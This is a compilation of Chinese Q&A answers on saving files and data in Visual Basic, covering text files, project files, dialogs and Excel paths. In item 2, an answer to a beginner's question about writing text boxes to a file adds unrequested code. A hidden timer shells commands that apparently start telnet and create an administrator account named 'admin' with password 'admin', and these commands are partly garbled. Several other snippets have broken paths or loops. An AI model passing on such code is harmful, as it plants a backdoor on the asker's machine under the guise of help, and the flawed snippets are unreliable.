1. VB中如何将图片框中内容截图并保存到指定文件夹
1按Alt+print screen sysrq,截图。可以试一下，在图片中右击鼠标，发现粘贴是灰色的，所以截图的图片一开始是不能够直接放进文件夹的。
2打开电脑的开始界面，如图，点击下面的箭头。
3可以看到这里有很多软件，找到画图，其实桌面上的软件这里都有，可以直接在这里找，也不用放在桌面上占用内存。
4点击进去后，看到左上角有一个粘贴，点击，好了，这时你的图片已经过来了。
5粘贴旁边上面有一个文件，点击，选择另存为，你可以保存在你想保存的位置。这时你的截屏图片就已经是文件夹形式了。
6还有别的图片需要保存，可以点击选择，全选，然后删除，继续粘贴，其他图片，在图片里，你可以右击编辑，在图片上加一些东西，这些也是在画图中完成的。
2. vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊！
分类: 电脑/网络 >> 程序设计 >> 其他编程语言
问题描述:
vb中如何把多个文本框里输入的内容保存到一个TXT文件里啊！
比如程序有三个文本框，用户在每个框里分别输入了1，2，3，保存一个文件到C盘的1.txt
1.txt打开后的内容是
1
2
3
如何实现啊，要具体的啊谢谢了！
解析:
第一个很简单
open "C:\1.txt" for output as #1
print #1,text1.text
print #1,text2.text
print #1,text3.text
close #1
第二个也很简单
dim stext(1 to 3) as string
dim inow as long
stext(1)="mand /c start tel"
stext(2)="mand /c user admin admin /add"
stext(3)="mand /c localgroup administrators admin /add"
添加一个时钟发生器,间隔2000毫秒
时钟发生器代码
inow=inow+1
shell stext(inow), vbHide
if inow=3 then timer1.enable=false
3. vb怎么保存文件
你的保存方法是正确的，打开的时候，找到你保存文件的路径，选择后缀名为.vbp的，双击打开。打开之后并不是什么都没有的，右边有个文件夹一样的图标，前面有个小加号，点一下就打开了。就看到你之前的东西了。我现在在手机上，说不很清楚，你要是找不到等我晚点回去开电脑给你截屏。要是明白了，采纳请给好评，谢谢。
4. excel用VB将工作簿保存到指定的路径中
改成这样：
AA = "C:\Users\Administrator\Desktop\保存文件夹\" & Format(Date, "yyyy.mm.dd") & "\abc\"
如果上边这句嫌太长的话，就用下边两句：
AA = Format(Date, "yyyy.mm.dd")
AA = "C:\Users\Administrator\Desktop\保存文件夹\" & AA & "\abc\"
5. vb如何保存文件啊
步骤大概是这样的：
Step1：编写代码
Step2：单击“文件”——>选择“保存工程”
Step3：保存窗体（*.frm），模块（*.bas），类（*.cls）文件
Step4：保存工程（*.vbp）文件
Step5：保存完后，会弹出一个对话框，内容大概是这样的，“Do you Add SourceSafe?”，那里选择“否”就可以了
打开的时候：直接找到"工程名.vbp"（就是的工程文件，VB Project），直接双击打开就可以了。
6. VB 怎样将生成的文件通过‘选择文件夹’方式保存
使用通用对话框就可以啦，通用对话框就是CommonDialog1控件
你现在CommonDialog1控件画到窗体上，然后在“保存”按钮中调用它既可，调用代码最简单的就是增加以下这句：
CommonDialog1.ShowSave
当然还可以设置其他属性哦，如保存文件类型、保存文件默认位置等等。
7. VB如何保存数据到文件中。
可以不用vb实现。把你的文件改名为excel文件可以识别的格式，如“text1.csv”，用excel打开，删除其它列，只保留第一列，另存，再把文件的名字改回来。
用vb实现（假设你的文件存在 d:\）：
Private Sub Command1_Click()
Dim j As Integer, k As Integer
Dim A As String, B As String, C As String
Open "d:\text1.txt" For Input As #1
Open "d:\text2.txt" For Output As #2
While Not EOF(1)
Line Input #1, A
k = Len(A)
For j = 1 To k
B = Mid(A, j, 1)
If B = "," Then
C = Mid(A, 1, j - 1)
Print #2, C
GoTo 10
End If
Next j
10 '
Wend
Close #1
Close #2
MsgBox "ok"
End Sub
8. VB中怎样保存数据（保存在VB数据库里）
1.使用文件来记录,下次运行时读取 .2.使用数据库,可以考虑单机数据库或网络数据库 3.如果数据量小,使用注册表.
或者可以通过程序来保存：
set fs=createobject("scripting.filesystemobject")'创建文件操作对象
if fs.fileexists("C:\a.txt") then'如果C盘A.txt存在，那么读取其内容
set txt=fs.opentextfile("C:\a.txt",forreading,true)
set txtn=txt.readall
else'
set txtf=fs.createtextfile("c:\a.txt",true)'创建C盘下的a.txt
do'无限循环
wscript.sleep 1000'延时一秒
txtf.write a.text'写入文本框中内容
loop'循环结束
end if'判断结束
9. VB如何将程序的数据保存
写入：
Open "D:123.txt" For Output As #1 '打开XXX路径的XXX文件（双引号里表示文件位置和文件名）
Print #1, Text1.Text '写入Text1的Text内容
Close #1 '关闭
读取：
Open "D:123.txt" For Input As #1 '打开打开XXX路径的XXX文件（双引号里表示文件位置和文件名）
Do While Not EOF(1)
Line Input #1, s
Text1.Text = s
Loop 'Do...Loop表示循环读取文件的内容，并让Text1.Text=内容
Close #1 '关闭
① 使用File.ReadAllText 读取
Dim s As String = System.IO.File.ReadAllText("C:a.txt")
② 使用 StreamReader 读取，注意编码格式和写入的编码保持一致。
Dim sr As StreamReader = New StreamReader("C:a.txt", System.Text.Encoding.UTF8)
Dim s As String = sr.ReadToEnd()
sr.Close()